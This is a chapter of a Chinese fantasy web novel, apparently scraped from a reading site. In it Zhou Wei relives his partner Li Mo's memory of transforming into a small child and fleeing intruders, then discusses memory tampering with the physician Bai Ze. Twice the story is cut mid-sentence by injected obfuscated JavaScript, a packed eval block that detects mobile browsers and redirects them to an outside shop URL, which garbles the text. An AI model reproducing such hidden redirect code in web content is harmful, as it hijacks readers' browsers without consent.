巨大的黑色三尾妖兽保持着站立在那怪物躯体上的姿势,松开口,一枚晶莹的妖核裹在一大团血肉里掉了下来,滚落到严瑾脚边。 自爆没有成功,最后时刻,李默咬出了那怪物的妖核。 没有妖类在失去妖核之后还能活下来。 严瑾清晰地感受到,那个怪物识海中无数躁动的声音平息了,那么庞大的识海空荡荡的,仿佛风过尘沙,只余一片空寂。 妖核离体,妖类即刻死亡。严瑾眼看着那妖类从头到尾逐渐凝结成一块巨大的晶石,每个不规则切面都反射出莹莹幻彩,纯净而夺目,夜风一吹,就化作了无数闪着莹光的星尘,在眼前消散了。 妖类的死亡,从来都是如此干净果决,不给世间留下半点余尘。 随着那妖类的死亡,所有它留下的妖力造物也全部消失,整个山坳里,除了震毁的山岩和地面上的各种坑洼,几乎再看不出任何战斗残迹。 还有……大片的鲜血。 那妖类消散,李默脚下的立足之地也即刻消失。他颓然坠落,一头栽倒,身上无数个血洞汩汩涌出鲜血,浸透了他漆黑的皮毛,在地上逐渐汇成血泊和溪流。 那怪物自爆的同时,全身妖力爆发,触手尖刺疯狂生长,贯穿了周围的一切。 李默本来是可以避开的,以他的速度,妖核自爆之前的分秒之差,足够他越过岩壁躲到山坳另一侧。如此自爆的威力丝毫不会波及他,他可以毫发无伤。 只是这样,那群人类便绝难幸免。 在那思考都来不及的一刹那,李默冲了上去,用黑雾撕裂了那怪物的身体,咬出了那枚妖核。 近在咫尺,他来不及防御,被那些肆意爆发的触手自下而上地撕裂贯穿。 数不清的触手刺入体内,撑住了他的身形,让他没有即刻倒下。然而随着那个怪物的死亡,那些触手一并消散,被封堵的血流争先恐后地涌出,他再也站不住。 他像是累了,血流得太多,眼皮越来越沉重,最后扫了一眼扑倒自己身边的严瑾,便缓缓闭上了眼睛。 * 周纬在一片黑暗中奔走。 李默被触手贯穿的一刹那,识海骤然就黑了,像是天地之间一下子拉了灯,周纬从云雾缭绕的识海中,毫无预兆地坠入了一片黑暗里。 他怀里抱着的小黑在同一时间烟消云散。 “李默!”周纬在黑暗中大吼,疯狂地捶着四周看不见的屏障:“放我出去!” “我知道你在!放我出去!” 可是四周毫无回音。 连回溯都断了。周纬整个人被完完整整地封闭了起来,像是外面那个人铁了心要斩断他的五官六感,连一丝一毫濒死的痛苦都不想泄露给他。 可周纬知道发生了什么。 回溯断开的一刹那,周纬整个人仿佛被当胸捅穿——那不是他自己的感受,那是李默还没来得及断开的回溯的共感。那只怪物的一根触手精准地洞穿了李默的心脏,鲜血奔涌宛如开闸。 ……但是这不对。 这只是回溯而已。李默还活着,他好好地活到了十年之后,活到了和自己相见的日子。 他和自己还有那么久那么长的未来,不该死在这里。 漆黑一片的世界里,周纬目如滴血,然而他的神情却骤然平静了下来,不仅平静,甚至带着点残酷的冷静。 他昂首对着身边空寂森然的空间,冷声道:“李默,要么你现在放我出去,把回溯连上;要么,我现在爆了这道精神体,我们回去算总账。” 这句破罐子破摔的狠话终于起了作用。黑暗的世界突然一阵模糊,像是泛起了不稳定的涟漪,紧接着,只见空间尽头,突然亮起了一点荧光,宛如一簇缥缈不定的白色火苗。 周纬朝着那簇火苗的方向望去,有声音隐隐约约地传了进来。 “可它毕竟是个妖类……” “它救了我们!要不是它及时刨出妖核阻止自爆,你以为我们活得下来?”这是个激烈的女声。 “自相残杀而已吧……妖类凭什么救我们啊……” “违反安全条例……” “没法交代啊……报告怎么写?” “一切责任我来承担。” 最后这句话温和沉静,是严瑾的声音。 紧接着,那簇火苗突然暴涨起来,像是投入了什么高能量燃料,裂变一样的炽目白光骤然洞穿黑暗,铺天盖地地把整个空间刷成了一片雪白。 周纬迎着那束白光闭上了眼,不闪不避,如愿以偿的被当头吞没。 在最后的一眼灿白中,他听到有人轻声低语。 “……谢谢你。” 灼热的感觉从心脏处迸发,轰然吞噬了所有神经,滚滚洪流蔓延向四肢百骸。燃烧般的剧痛融化了每一寸肢体,他变成了一摊滚烫的金水,在虚无中翻滚。 ……发出无人能够听到的嘶吼。 周纬觉得自己的灵魂都被融化了。他一时感觉自己蜷缩成了小小的一团,长尾紧紧缠绕着身体,利齿咬住爪子,试图抵抗那融筋蚀骨的剧痛;一时又觉得已经全然感觉不到自己的肢体,意识茫然地漂浮在虚空,不知道自己是谁。 一个奇怪的念头出现在他的脑海里。 ……难怪他那么能忍痛。 原来这就是他的新生。 * 时间光怪陆离,世界扭曲虚幻,意识颠倒错乱。 他在虚无和空寂中沉浮。 不知过了多久。 意识重新被大地捕获,他茫然地觉得自己沉甸甸地又有了重量,于是顺着这点儿重力缓缓下沉,沉入了一具躯体里。 然后睁开了眼睛。 周纬:“……草。” 疼死老子了。 沉浸式体验了一半化形的感觉,那滋味儿真是酸爽到磨牙。意识甫一回归,周纬就感觉身上没一处不在疼,假如他的筋骨是块铁,现在怕不是已经被扭成麻花了。 好在化形已经结束,余韵也在飞速消褪,很快那种从骨髓深处弥散出来的剧痛就已经缓解,只剩下一点肌肉筋络的酸痛,属于无伤大雅的后遗症,应该不影响行动了。 证据就是他稍微动了动身体。 周纬:“……?” 他……动了动身体? 周纬恍然一震,下意识地就要抬起手来查看。然而他的意识发出了“抬手”这个指令,身体却毫无反应。 周纬:“……” 这不还是在回溯里面吗?! 也许是刚刚熔金锻骨的体验太过刺激,周纬的神经一时没能接上弦,这会儿才把自己的意识从李默的五官六感上剥离下来,认出了自己还是在回溯里面。 只是之前在识海中那种意识分离、双线并行的感觉不见了。周纬回归到了回溯刚一开始时的体验,又成了附着在李默感官上的一缕幽魂。 他静下心来,感受了一下李默此时的状态,能感觉到他全须全尾,身上哪个部件儿都没缺,只是意识还有点恍惚,应该是还没缓过劲儿来。 他动不了,周纬自然也不能动,好在此刻他的眼睛还是睁着的,周纬只好借了他的双眼,开始打量四周。 这不看不知道,一打量才发现不妙。 这一段记忆跟上一段也不知间隔了多久,中间也不知又发生了什么,单纯从场景转换上来看,委实是有点突兀。 只见他们此时已经不在月黑风高的大山中,赫然到了一个人类的房间里——这仿佛好似一间单身公寓的卧室,李默应该是正仰面躺在床上,瞪眼望着头顶的天花板。周纬左右晃了晃,却都没办法再拓展视野,也无从推断这是身在何处,只能看得出来这屋子的主人颇有情调,天花板刷了白色乳胶漆,四壁都贴上了暖黄色壁纸,审美还不错。 这是谁的房间?李默又是怎么来到这里的? 就在这时,李默轻轻喘了口气,熟悉的气息涌入鼻端。 周纬:…… 破案了,严瑾的。 ——不对,严瑾的?! 严瑾把李默带回自己家了?! 这又是个什么章程! 周纬感觉这个世界不能好了。自从这回溯开始以来,各种乱七八糟的意外以各种离奇诡异的姿势你方唱罢我登场,一股脑儿地都来挑战他的固有认知。 他能够猜得出来刚刚失去意识那一段发生了什么:李默在和那个未知怪物的战斗中重伤濒死,严瑾用那个怪物的妖核救了他一命;李默吸收了那枚妖核,获得了那个妖类的吞噬能力,同时完成了化形过程——到这里,事情大致都还是按照他之前的推断发展的。 可若仅仅是这样,严瑾完全没有必要抹掉李默的记忆,更没有必要在四年之后,还要假装跟他在雍京的渔场码头“初遇”——这里面必有猫腻。 所以他还以为接下来就该跳转到见证“猫腻”的环节了,还以为会撞破什么惊世骇俗的阴谋,做足了吃瓜的准备。 没想到严瑾居然直接把人带回家了! 这简直岂有此理。一个大男人,把一个昏迷不醒重伤未愈的妖类悄悄带回家,这是想干什么?! 李默连他的家门都只进去过两次! 周纬内心怒火熊熊燃烧,满脑子都是“没想到严瑾你个浓眉大眼的居然也会趁人之危”之类的词,因为过于恼怒,甚至都没有感觉到李默已经起来了。 他平躺在床上的身子先是试探着动了两下,随后像是有点半身不遂似的,李默双肘支着床,一点点撑着自己,从床上坐了起来。 严瑾这间卧室的陈设相当简单,靠墙的一侧放着床,另一侧则摆放着一组衣柜,门口放着一面落地全身镜,应该是方便他起床之后穿衣搭配用的。平躺的时候镜子里面照不出人来,可此时李默起身转头,角度一变,镜子里面刚刚好映出了他的身形。 李默和还在恼怒中的周纬同时一震,瞪大了双眼。 ——镜子里映出的,是一个幼童。 周纬:“……” 周纬:“卧槽。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373576|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周纬:“卧槽!!!” 他这才想起,自己忽略了一个极其重要极其关键的问题——刚化形的妖类是要从头开始长起的! 刚刚对严瑾的那点气恼顿时烟消云散,周纬简直恨不得抽自己一嘴巴,立刻想明白了——难怪严瑾要带李默回家,谁会把一个刚化形的小婴儿留在深山老林里啊! 可是……严瑾为什么不带他回异监局? 这点儿疑惑刚刚升起,还没来得及成型,就立刻烟消云散了。周纬头一次把“理智”抛到了九霄云外,迫不及待地望向镜子,恨不得把自己虚幻的脖子伸出两里地,贪婪地打量起这个“小李默”来。 镜子里的李默呆呆地坐在床上,估计也是给自己这幅新样貌震得灵魂地震。也不知道他睡了多久,这副身体已经长大了一点儿,现在看上去大概在三四岁左右,身上罩着一件大人的短袖T恤,松松垮垮的,手脚都露在外面。仔细看去他的手脚都是人类幼童特有的细嫩,圆圆的小脸,腮帮子还有点肉,黑黑的额发软软垂落,一双漆黑眼瞳瞪得大大的,呆愣愣坐在床上的样子,简直像个平面小童模。 总而言之,就是可爱,俊秀,且软糯。 除了眉眼之间还有几分相似,哪里还看得出来后面会长成那么高大帅气的一个! 周纬心道,简直了。 这真是简直了。 他这一道精神体简直恨不得从中间一劈两半,一半好奇地要发疯,只恨自己不能立马意识离体,长出八双眼睛,给这个“小李默”来个三百六十度无死角透视,把他这副幼年态牢牢地刻进视网膜里;另一半又忍不住要西子捧心,感觉自己差不多要被这个小李默简单粗暴地“萌化了”。 这也太可爱了! 这一次回溯,周纬先是猝不及防地遭遇了小黑,现在又看到了这个幼年版李默,只觉得自己这辈子已经夙愿得偿,满足得不能再满足,死都能瞑目了。 李默也像是被自己这个形态给震住了,半晌,抬起双手看了看自己的手掌,然后眨了眨眼睛,试探着拱开了被子,一翻身—— 噗嗵。 他从床上滚了下来。 周纬:“……” 刹那间,他对这个“小李默”的疼爱跟他的笑点发生了激烈冲突,两者电光石火间在他的脑海里打了一架,不分胜负,他倒是快人格分裂了。 李默端端正正地平拍在地上,整个人也是一愣。新获得的人类四肢果然很不习惯,少了爪子和尾巴,他似乎一时都不知该怎么动作了,在地上趴了好半天,才慢吞吞地尝试爬起来。 妖身变成了人身,跟大脑明显接触不良,李默像个在仓库里放久了,关节生锈缺乏润滑的机器人似的,动一下,停三秒,每一步都需要在脑子里认真思考一下动作。 然而“认真思考”这种表情出现在一个三岁幼童身上,就怎么看怎么呆萌可爱。周纬不断从镜子里偷看着李默的表情,都快笑疯了。 好不容易扶着床站了起来,李默看了一眼不远处的镜子,试探着迈出了第一步。 没迈好,“啪叽”一下,又摔了。 ……这还真是“刚化形的妖类和他新提的四肢”。 小李默没灰心,慢吞吞地爬起来,半身不遂一样又往前迈出一步,又是“啪叽”一声。 再爬起来,又迈了一步……这次没有“啪叽”了,他“咕咚”一下,整个膝盖撞在了地板上。 周纬不笑了。 小李默垂着眼睛,慢慢尝试着再次站起,往前挪步。他毕竟没吃过猪肉——不是,没吃过人肉也看过人跑,知道正常人类行走该是个什么样子,于是尝试模仿。一开始不得要领,试了几次之后仿佛就找到了窍门,每次摔倒之后都慢慢地、极有耐心地细微调整着自己的姿态和发力点,失败了就重新再来。 没有借助妖力,也没对自己这意料之外的突然化形做出什么反应,只是沉默地走着,练习着。 于是周纬就见他动作从一开始的僵硬、别扭,到后面越来越流畅,越来越熟练。 越来……越有人样。 不管他摔倒多少次,那张玉雪可爱的小脸上,始终都是漠无表情的。长长的眼睫低垂着,扑簌扑簌地遮住了那双漆黑的眼睛。 很像……长大后的那个他。 周纬沉默地从镜子里看着他的模样,看着他小小的身体一次次尝试,摔倒,站起,摔倒,站起。 看着这个强大的妖类,怎么样一点点幼稚而笨拙地模仿着人类的模样,将自己慢慢塞进这具人类的皮囊。 他默默感受着李默的动作,仿佛透过这具幼小的躯体,看到了那人未来高大沉默的轮廓,看到了那人是怎样在接下来漫长孤寂的日子里,一点点封印自己身上的兽性,观察、学习、模仿、重复……一如今日蹒跚学步这般,将自己从身到心、完完整整地打磨成人类的样子。 ……难怪他会这么像人。 因为在无人知晓的时候,他已经自己默默地走完了这段从兽形到人身的路。没有人教他,没有人陪他,他用千百次的失败把自己雕琢成了成如今高大、沉默、温厚宽和的样子,走到所有人面前。 就像他现在,终于走完了从床角到衣柜这短短的一段路程,来到了那面穿衣镜前。 幼小的李默站在镜子前面。他像是累了,于是不熟练地弯腰撑地,缓缓坐了下来,小小的胸脯微微起伏。 汗水沁湿了额发。他轻轻一抹,抬起了乌黑的眼睛。 镜子里映出的,是一个小小的人类的模样。那样稚嫩、娇柔、脆弱,像是一爪下去就会碎裂的新鲜血食。 那是全新的、陌生的他自己。 他沉默地看着镜子里的自己,像是要把自己第一次完完整整地看清楚。 他并不知道,此时在他看不见、听不到、触不可及的地方,周纬轻声开口,对他说了一句话。 “辛苦了……李默。” “欢迎,来到人间。” 77.人祸 李默就这样在镜子前坐了很久,直到窗外金乌西坠,暮色四合。 周纬安安静静地陪着他。反正他也不着急,甚至希望这个回溯的时间能再长一点儿,让他跟这个小李默再多待一会儿。 与此同时,他开始思考这次回溯的收获。 现在看来,李默是怎么化形的这个问题已经有答案了,但遗留下来的谜团还有很多。 首先就是,那个怪物到底是怎么回事。 在妄山的一夜鏖战中,最不合常理的就是这个怪物。正常来说,它有妖力,有妖核,应该就是个妖类,可周纬却从未见过有妖类是这样一种混乱、扭曲的状态。它妖力强大,还有着“吞噬”这样开挂一般的能力,但自始至终表现都非常反常。连严瑾都说它“识海混乱”,难以沟通和压制,这是怎么回事? 它不可能是一降世就是这样的。没有妖类一降世就会拥有A级强度的妖力,再强的妖类也必须经历漫长的修炼和成长过程,可如果这个妖类一直都是这样一种混乱扭曲的样子,周纬不信它能安然长到这么大。 它身上必然发生过什么。 也许它的存在,就是严瑾不惜修改李默的记忆,也要尽力掩藏的东西。 这就引出了第二个疑点——严瑾。 从回溯的内容来看,至少到目前这个时间点,李默应该是还没有失忆的。那严瑾是什么时候消除掉他的这段记忆的? 是他们四年之后,在雍京“初遇”的时候吗? 他伪造了那次虚假的“初遇”,应该就是为了掩藏妄山上那一夜发生过的事;可那之后他又把李默引荐入异监局,这又是为了什么? 李默的记忆被修改了,可其他人呢?那些同样参与了这次事件的监察员们呢? 老莫、小黎、东方、陈溯,还有那个持长弓的队员,他们怎么样了? 在这之后不久,严瑾就接到调令,被调往总部执行局任职。他的这次调动,跟这起事件有没有什么关系? 真是千头万绪,疑窦丛生。 这副拼图还缺少了什么东西……最关键的一块,他还没找到。 周纬的精神体叹了口无声无息的气,感觉自己那不存在的脑壳都开始疼了起来。怎么一次回溯完,未解的迷题不仅没有变少,反而跟线面一样增殖了? ……真想撸小黑。 然而他还想好要不要试试能不能把小黑叫出来,就蓦然感觉李默有了动静。 不,不是李默有了动静,而是外面有了动静。 只听得“窸窸窣窣”一阵轻响,静坐着参了一下午禅的小李默突然抬起头来。 ——有人在开门。 不是开卧室门,而是开外面的防盗门。 妖类灵敏的六感在此刻发挥了作用,隔着数层门板,李默和周纬同时听出,外面传来的轻微的脚步声不是一个,而是两个人。 十年之前指纹密码锁还没流行起来,一般公寓住宅楼用的都还是普通防盗门,得用钥匙开门。然而那声音窸窸窣窣响了半分钟,门却一直没打开,也听不见钥匙和门锁的碰撞声。 什么情况?这是有人溜门撬锁,撬到严瑾家来了? 等等,话说严瑾人呢?眼看天都快黑了,他为什么还不回家? 一般人会把一个刚刚化形的小小妖类丢在家里,不闻不问这么长时间吗? 周纬心里骤然升起一股不详的预感。 然而还没等他把这一节想通,门外突然传来了灵力波动。 刹那间,周纬的精神体炸起了满身虚无的汗毛——这灵力波动他认识! 作为异监局外勤,有时候需要执行一些突击或潜入任务,免不了要开门或破门,总部科技局为此曾经研发出了一种小型灵器,专业名称很长,绰号就叫做“□□”,专门是用来对付一些不太好打开的机械门锁的。 然而这玩意儿有些鸡肋,因为对于超自然世界来说,一些重要的地方往往都有符咒或阵法守护,物理意义上的门锁是最不值得一提的防护手段。“□□”的实战价值有限,反而对于一些经常忘带钥匙的监察员来说很管用,于是经常被大家借来借去的。过了几年,大家家里纷纷都换上了更方便的指纹密码锁,于是连这点儿用处也无人问津了。 可“□□”启动时的灵力波动周纬是记得的——就是现在这个波动! 外面来的,是临津市异监局的人?! 卧室里的李默豁然起身。 周纬的心一下子提到了嗓子眼儿——这时候李默要是动用了妖力,那就完了。 动用妖力必然会留下妖力残迹。外面来的那些如果真的是异监局的人,光凭这点儿妖力残迹,李默就足以被他们追踪到天涯海角! 好在也许是李默冥冥中意识到了什么,也许仅仅是因为他妖身时就没有随便动用妖力的习惯,化了形之后一时也没这个打算,总而言之,李默没有借助更方便的妖力,而是单纯凭借人身动了起来。 之前的反复练习显出了效果,李默此时已经能够比较自如地控制自己的四肢了。只见他赤着脚,悄无声息地远离了卧室门,回到了床边,然后略显笨拙地抬手抓住了床单,一发力……把自己吊了上去。 周纬:“……” 起猛了,看见三岁小孩在做引体向上。 这是“真·引体向上”,李默显然还没习惯这具人身到可以同时控制自己双手和双腿的程度,动了手就不能动脚。所以他往上爬的时候全无蹬踏的动作,整个人宛如半身瘫痪,完全是靠着上肢力量,双手交替着硬生生把自己拉上去的! 这动作跟优雅体面完全没有半分关系,然而确实快且无声,李默迅速爬回了床上,然后爬过整张床来到了另一侧。 这一侧有个小飘窗,窗外没装防护栏。 周纬傻眼了:“……不是吧。” 然后他就见李默顺着窗缝把窗户推开了,接着轻手轻脚地翻出了窗外,单手把自己吊在了窗台上。 这三岁小孩要上天了!!! 严瑾的这所公寓是典型的都市男青年单身公寓,处在一座高层公寓楼上,从李默的视角看来,最少也得有个十几层! 这小孩就这么上不着天下不着地地把自己挂在了半空!豆丁大一点儿就跑出来cos阿汤哥和蜘蛛侠! 苍天啊!您还是学龄前啊! 然而就在此时,楼道里那若隐如现的灵力波动停了,紧接着“咔哒”一声,锁扣弹开——防盗门打开了。 妖类敏锐的听觉忠实地把进入房间的两人的低语声传递到了李默和周纬的耳朵里。 “……暂未检测到一号实验体妖力残迹……” “……妖核可能确实不在这里……” 周纬倏然瞪大了眼睛。 与此同时,他跟李默同时听到了一声轻响。 有人拧动了卧室房间的门把手。 “吱呀——” 房门被推开了一条缝隙。 下一秒,李默当机立断,松开了手。 幼童的身体即刻被重力捕获,他们一起在呼啸寒风中坠落。 * 现实中的小院里,一阵风过,引神香的最后一颗星火倏然坠落。 周纬豁然睁眼。 然而还没等他反应过来自己身处何地,只觉得腹内骤然一阵激烈翻涌,仿佛有人趁着他昏睡的这段时间拿走了他的五脏六腑,正转反转地扔到洗衣机里洗了三小时。 他一把捂住嘴,东倒西歪地起身,猛冲到院子里那棵大槐树下,“哇”地一声,吐了。 “嘿嘿,活该。” 就听身边响起了一个幸灾乐祸的声音,白泽双手笼在袖子里,兴高采烈地走过啦,眯着眼睛看他的笑话:“说了让你保持意识清醒,别跟回溯者过度共感,不遵医嘱,悲剧了吧?” 周纬吐得差点把自己胃都翻出来,好悬没窒息,不知过了多久才终于哆嗦着吸进了一口气,扶着树一回头就抬脚踹他。 他恨不得把白泽那颗白花花的脑袋掰下来,咬牙切齿道:“你他妈——什——么——时——候说过这条医嘱?” “我说没说有啥区别?”白泽理直气壮地一摊手:“反正你肯定会跟他共感的。” 周纬:“……” 他怎么就没憋住了,吐这个无良庸医一身呢?! 十五分钟后。 周纬把自己的三魂七魄吐干净了,管重明要了杯细盐水,半杯漱了口,剩下半杯一股脑喝了,这才终于感觉缓过了一点儿劲来。 回溯的时候他跟李默都失去了意识,重明就在屋檐下摆了两把圈椅,一人一个栽了进去,脑袋对着脑袋,给俩人摆出了一个岁月静好的造型——之所以只能摆在屋檐下,是因为除此之外没有别的地方了,李默昨天晚上大闹一场,给白泽小院砸了个稀巴烂,重明拒绝了周纬花钱找人来修的提议,不知从哪儿弄来的一堆砖头、石子和水泥,此刻正在施工,看起来是打算借机在院子里辟一片苗圃出来。 也不知这位A级大妖活了多久,一身的技能,居然还会泥瓦和园艺,可谓志趣脱俗。 周纬感觉自己的筋骨有千斤重,拖着脚慢吞吞地走回到门口屋檐下,一屁股栽进了椅子里,长长地出了口“可算活过来了”的气。 叹气声把李默惊动了,转过脸来看着他。 白泽作为大夫,医术或许还可以,医德那是半点都不用指望的,事先关于回溯的后遗症他是一点没提。李默作为回溯者本人,状态也比周纬没好到哪里去。他倒是没吐,但是脸色苍白得厉害,醒过来之后神情呆滞,在原地懵坐了足足有一分钟,跟梦游没回魂似的。 然而一迎上周纬的目光,他还是下意识地一笑。 周纬看了看他,眨了眨眼睛。 ……然后把回溯里的小黑和“小李默”想起来了。 于是李默就见这人,很慢很慢地,弯起了那对形状漂亮的桃花眼,勾了勾唇角。 李默:“……” 为什么突然有种不好的预感。 周纬开了口:“小黑呢?” “……”李默轻咳一声,脸微微撇向一边,目光躲闪道:“它很好,它睡着了。” 周纬脸上就掠过不怀好意的一笑。 只见他握拳轻咳一声,压低了身子,做出了一个像是想说悄悄话的姿势。李默下意识地弯腰附耳过去,就听见此人一本正经地在他耳边低声道:“话说……严瑾当时,是不是没给你穿裤子?” 李默:“……” 几个意思!他当时才三岁!就算在人类里也是个穿开裆裤的年纪吧?! “哈哈哈哈哈哈哈……” 周纬爆发出一阵炸锅般的笑声,同时就感觉自己身边的妖类熟了。 他笑得打跌,旁边的李默“腾”的一下坐直了,脸红得仿佛要跳进蒸锅跟煮熟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381963|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虾蟹作伴。 “呦,这笑的,看起来你们两个恢复得挺好啊?”这边还没笑完,另一边一个白毛的不速之客又来了。 白泽袖着手,溜溜达达地过来,瞥了周纬一眼:“笑什么笑,一根引神香五千,记得打钱。” 财大气粗的周大队长摆了摆手,没把这黑心医生狮子大开口的要价放在心上:“好说,这玩意儿有有效期吗?没有的话,先给我来十根。” “十根?”白泽立时瞪眼:“大侠,有点自知之明成不?你拿我引神香当柴火烧呢?以你那点水洼大小的识海和精神力,一年之内再用引神香,你就别想从回溯里出来了。” 周纬:“……” 这CD也太长了。 “那怎么办?”他皱起了眉:“回溯断得太突然了,后面应该还有内容我们还没看到。” 李默跟严瑾在雍京的那次“初遇”是怎么回事还没搞明白呢。 “不用,”就在这时,李默终于回过神来了,脸色也差不多恢复了正常,只有耳朵尖上还有点儿可疑的红晕。他欲盖弥彰地咳了一声,没敢看周纬促狭的眼神,转向了白泽:“我大概能记起后面的事了。” 记忆不是一篇一篇的断章,而是一条连续的线,一道延绵不绝的溪流,有了前因后果,“牵一发而动全身”是有可能做到的。引神香为李默补上了他记忆中的空白,也让他把一些其他的事想起来了。 “我离开了严瑾家,之后就开始了流浪,没再跟异监局的人产生交集。”李默道:“严瑾修改我的记忆,应该确实是发生在四年后,我跟他在雍京重逢的时候,这里我的记忆出现了自相矛盾的地方。” “哦?”周纬道:“怎么个自相矛盾法?” “一种很微妙的感觉。”李默微微闭目,停了片刻,道:“我现在回忆化形时的情景,和那之后四年的经历,能记得这期间我确实是认识‘严瑾’这个人的。但我再回忆码头渔场的那次相遇,‘严瑾’又成了个陌生人,我和他在渔场那次相见,确实是第一次见面。这两种印象同时存在,我却感觉不到任何违和的地方。” “我现在还能回忆起,那次‘初遇’我们俩说了什么话,严瑾请我在码头旁的餐馆喝了一杯酒,之后便提出要介绍我加入异监局。”李默微微皱眉:“这段记忆很清晰,场景也很真实。” “真实个屁。”周纬没好气地打断他,瞪了他一眼:“你要是在外面,第一次遇见某个身份不明的灵力者,会答应跟他出去吃饭,喝他递过来的酒吗?严瑾要是在外面随便遇到个身份不明的妖类,会在对他一无所知的情况下,上来就提出邀请他加入异监局吗?” 李默一愣。 “被人卖了还帮人数钱的。”周纬恨铁不成钢地轻轻踹了他一脚,又转向白泽:“这种不是单纯失忆,而是被人修改过记忆的情况,有办法逆转吗?” “有啊。”白泽理所当然地道:“找个比那人精神力更强的,给他改回来。” 周纬:“……” 得,那就是没戏了。 “而且也未必就是修改记忆啊?”没想到白泽又插了一句:“听这小子的说法,这不是更像‘认知欺骗’吗?” “认知欺骗?”周纬一皱眉:“这又是什么?” “你们那个灵修学院里都是怎么教的,这点常识都不知道?”白泽属实是从不在“享受”一道上亏待自己,周纬跟李默坐圈椅,他就坐摇椅,舒舒服服地躺在两人对面一摇一晃的,手里还摇着个白毛羽扇装大爷,对着两人成吨地输出嘲讽:“认知欺骗,就是局部修改你对某个事情的认知或印象,比如把某个认识的人当不认识,把某件做过的事当没做过,只要修改对某个具体对象的认知就可以了。这样后续的事情都可以在这个修改后的认知的基础上发生,省得事后还得修改整段记忆那么麻烦。” 说罢,他好像有点不耐烦了,啧了一声道:“我觉得你们还是别研究他那段记忆到底是怎么回事了,就算研究出来,你们也改不回来了,有个屁用?精神系的手段你们了解多少?认知欺骗、知觉转移、潜意识修改、固有幻觉……这些能力的效果和限制条件你们又知道多少?” “精神系能力要起作用,不仅要看施术者的精神力强弱,还要看受术者的精神防御如何,简单来说就是越全心全意地信任对方,精神系能发挥的能力就越强。”白泽上下打量了李默一番,嗤笑一声:“真要是这小子毫无防备地跟那个精神系在一起待了好几年,人家能在你身上施展的手段,足够把你整个人的性格从里到外重新捏一遍了,你们光查这一段记忆有个屁用。” 周纬:“……” 李默:“……” “怎么我听起来,好像反而是你对精神系很了解啊?”周纬狐疑地看向白泽。 “废话,也不看看老子是谁。”白泽望天翻了个白眼,赏了周纬一个鄙视的眼神:“你当世人传老子‘通天地,晓万物’是空穴来风吗?” 这神兽日常散德行,周纬从古籍和志异传说中得到的那点儿滤镜早就碎得渣都不剩了,但既然这人上赶着送情报,自然也没有不接的道理。他道:“既然你这么懂,那我问你个事。” 白泽骄矜地仰起鼻子“哼”了一声,那意思——你问,答不答看我心情。 周纬置若罔闻,问出了他在回溯里就想到的那个问题。 “一个妖类,有可能从实验室里,被人工造出来吗?”